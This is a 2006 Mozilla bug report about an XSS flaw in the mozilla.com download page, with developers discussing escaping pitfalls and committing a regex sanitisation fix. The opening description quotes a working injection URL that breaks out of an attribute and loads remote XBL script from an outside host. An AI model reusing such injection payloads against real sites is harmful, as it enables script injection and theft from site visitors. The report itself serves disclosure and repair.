Last Comment Bug 357750 - mozilla.com XSS publicized on sla.ckers.org (download.html)
: mozilla.com XSS publicized on sla.ckers.org (download.html)
Status: RESOLVED FIXED
: wsec-xss
Product: www.mozilla.org
Classification: Other
Component: General (show other bugs)
: unspecified
: All All
-- critical
: ---
Assigned To: Dave Miller [:justdave] (justdave@bugzilla.org)
: www-mozilla-com
:
Mentors:
http://sla.ckers.org/forum/read.php?3...
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2006-10-23 18:30 PDT by Daniel Veditz [:dveditz]
Modified: 2013-05-22 11:18 PDT (History)
11 users (show)
See Also:
Locale:
QA Whiteboard:
Iteration: ---
Points: ---


Attachments
From Jesse's thoughts - v1 (1.26 KB, patch)
2006-10-23 20:07 PDT, Reed Loden [:reed] (use needinfo?)
no flags Details | Diff | Splinter Review
v2, w/ regexp (1.22 KB, patch)
2006-10-23 23:47 PDT, Michael Morgan [:morgamic]
no flags Details | Diff | Splinter Review
bouncer names, fwiw. (4.36 KB, text/plain)
2006-10-23 23:51 PDT, Michael Morgan [:morgamic]
no flags Details
Return false instead - v3 (1.18 KB, patch)
2006-10-24 01:23 PDT, Reed Loden [:reed] (use needinfo?)
morgamic: review+
Details | Diff | Splinter Review

Description User image Daniel Veditz [:dveditz] 2006-10-23 18:30:20 PDT
http://sla.ckers.org/forum/read.php?3,44,2090,page=21#msg-2090

Shows a link to mozilla.com which allows attacker script insertion. The Firefox version is through remotely-loaded XBL which makes complex scripts easy to include

http://www.mozilla.com/en-US/products/download.html?product=-%22%20style%3D%22-moz-binding:url('http://ha.ckers.org/xssmoz.xml%23xss')%3bxx:expression(alert('Get%20Opera'))%22%3E%3Cx%20&os=1&lang=1

Possibly no point in hiding this bug since that's a 21-page(!) forum thread and gotten lots of press, but the flag will at least ensure some attention.
Comment 1 User image Daniel Veditz [:dveditz] 2006-10-23 18:33:57 PDT
First noticed in this blog post: http://jeremiahgrossman.blogspot.com/2006/10/place-your-bets-on-first-firefox-2.html
Comment 2 User image Asa Dotzler [:asa] 2006-10-23 18:40:42 PDT
Who needs to see this? 
Comment 3 User image Michael Morgan [:morgamic] 2006-10-23 19:00:50 PDT
We'll need to escape the GET vars to make sure they can't inject via the query args.  We could do some simple checking up at the top where product, os, lang are assigned.
Comment 4 User image Reed Loden [:reed] (use needinfo?) 2006-10-23 19:10:31 PDT
justdave doesn't deal with the websites. I do. Assigning to me. We are following up on IRC. Expect fix shortly.
Comment 5 User image Reed Loden [:reed] (use needinfo?) 2006-10-23 19:58:43 PDT
$ svn commit -m "Fix download page issue (bug 357750) a temp way and fix 404 page."
Sending        branches/firefox1.5/en-US/404.html
Sending        branches/firefox1.5/en-US/products/download.html
Transmitting file data ..
Committed revision 813.

mrz: Please sync www.mozilla.com ASAP.
Comment 6 User image Justin Fitzhugh 2006-10-23 20:01:20 PDT
need approval from web team - dropping sev until this is ready to push.  
Comment 7 User image Reed Loden [:reed] (use needinfo?) 2006-10-23 20:07:32 PDT
Created attachment 243285 [details] [diff] [review]
From Jesse's thoughts - v1

This is what I committed from what Jesse thought out at first.
Comment 8 User image Chris Beard 2006-10-23 20:09:49 PDT
can we get some form of testing or confirmation that all variants of downloads continue to work after this patch? (if this has not already been done.)
Comment 9 User image Jesse Ruderman 2006-10-23 20:26:27 PDT
Looking at this more closely, I noticed that the product/os/lang variables are NOT used only as raw HTML and HTML attributes.  Instead, they're used as a link URL, which requires escape() to be correct in general:

  download_url += 'product=' + product + '&os=' + os + '&lang=' + lang;

But then a funny thing happens.  The code calls String.link, which LOOKS like it's a safe API for creating a link from a given anchor text and URL.  But if you pass it a URL that contains a quote, it does something else entirely!  (Bug 352437?  But Safari, IE, and Firefox all share this braindead behavior.)

  var link_text = 'link';
  msg += link_text.link(download_url) + '.';

Dolske and dveditz prefer "sanitizing" by rejecting any product name (or perhaps any URL parameter) that isn't alphanumeric.  That's easier to get right than calling the correct "escaping" function (escape, htmlEscape) at each point it's used, and a simpler fix than switching to an API (e.g. DOM2) that doesn't require you to escape.  I think they've convinced me that's the way to go.
Comment 10 User image Jesse Ruderman 2006-10-23 20:28:31 PDT
If I were writing a bookmarklet and wanted correct behavior for all strings, I'd use escape() for the URL and htmlEscape (and NOT String.link, because I hope its behavior will change) for creating the link.  Or maybe I'd use DOM2 to avoid having to deal with escaping.

But this only needs to be useful for alphanumerics (right?) so I think dolske's approach makes sense here.
Comment 11 User image Daniel Veditz [:dveditz] 2006-10-23 20:51:50 PDT
alphanums plus hyphen, hyphen is a key delimiter here.

unlike the patch here, I'd want to sanitize *before* parsing the query string. something like

   function parseGETVars()
   {
+      var url = new Object();
      var qs = location.search.substring(1);
+     if (qs.match(/[^-&=a-zA-Z0-9]/)
+        return url;
      var nv = qs.split('&');
-     var url = new Object();
Comment 12 User image Michael Morgan [:morgamic] 2006-10-23 22:01:36 PDT
(In reply to comment #11)
> +     if (qs.match(/[^-&=a-zA-Z0-9]/)

This would cause all versions to fail on the '.':
2.0
1.5.0.8

This approach seems just fine to me w/ a fixed regexp -- we should probably just go this route unless there's a good reason not to.

So -- next time could we not commit the change before we've tested it or had anybody actually +r it?
Comment 13 User image Michael Morgan [:morgamic] 2006-10-23 23:47:35 PDT
Created attachment 243307 [details] [diff] [review]
v2, w/ regexp

The stuff Reed checked in (r813) worked just fine -- made a couple of adjustments after reading through jruderman's and dveditz's comments.  Tested it w/ the error console open on khan-vm.

The patch took out the html string substitutions since they appeared redundant to me on top of the regexp check.  See if that makes sense.

I also went in to the Bouncer dump and queried product names and the range of valid characters is correct, so cbeard -- the incoming links won't break outgoing bouncer links.

Can someone take a look (reed? jruderman? dveditz?) before we commit again?
Comment 14 User image Michael Morgan [:morgamic] 2006-10-23 23:51:29 PDT
Created attachment 243308 [details]
bouncer names, fwiw.

This is the list of bouncer names, to see the chars.  The locales list pretty much fits the normal (\w{2}(-\w{2}(-mac)?)?) pattern, and would be accepted.
Comment 15 User image Reed Loden [:reed] (use needinfo?) 2006-10-24 01:23:50 PDT
Created attachment 243313 [details] [diff] [review]
Return false instead - v3

Return false instead...
Comment 16 User image Michael Morgan [:morgamic] 2006-10-24 01:28:11 PDT
Comment on attachment 243313 [details] [diff] [review]
Return false instead - v3

W00t!!!!
Comment 17 User image Reed Loden [:reed] (use needinfo?) 2006-10-24 01:51:25 PDT
Patch is checked-in... reassigning to server-ops@ for sync.
Comment 18 User image Dave Miller [:justdave] (justdave@bugzilla.org) 2006-10-24 02:45:05 PDT
U    en-US/products/download.html
U    en-US/404.html
Updated to revision 826.
Comment 19 User image Yvan Boily [:ygjb][:yvan] 2013-05-22 11:18:30 PDT
Adding keywords to bugs for metrics, no action required.  Sorry about bugmail spam.

Note You need to log in before you can comment on or make changes to this bug.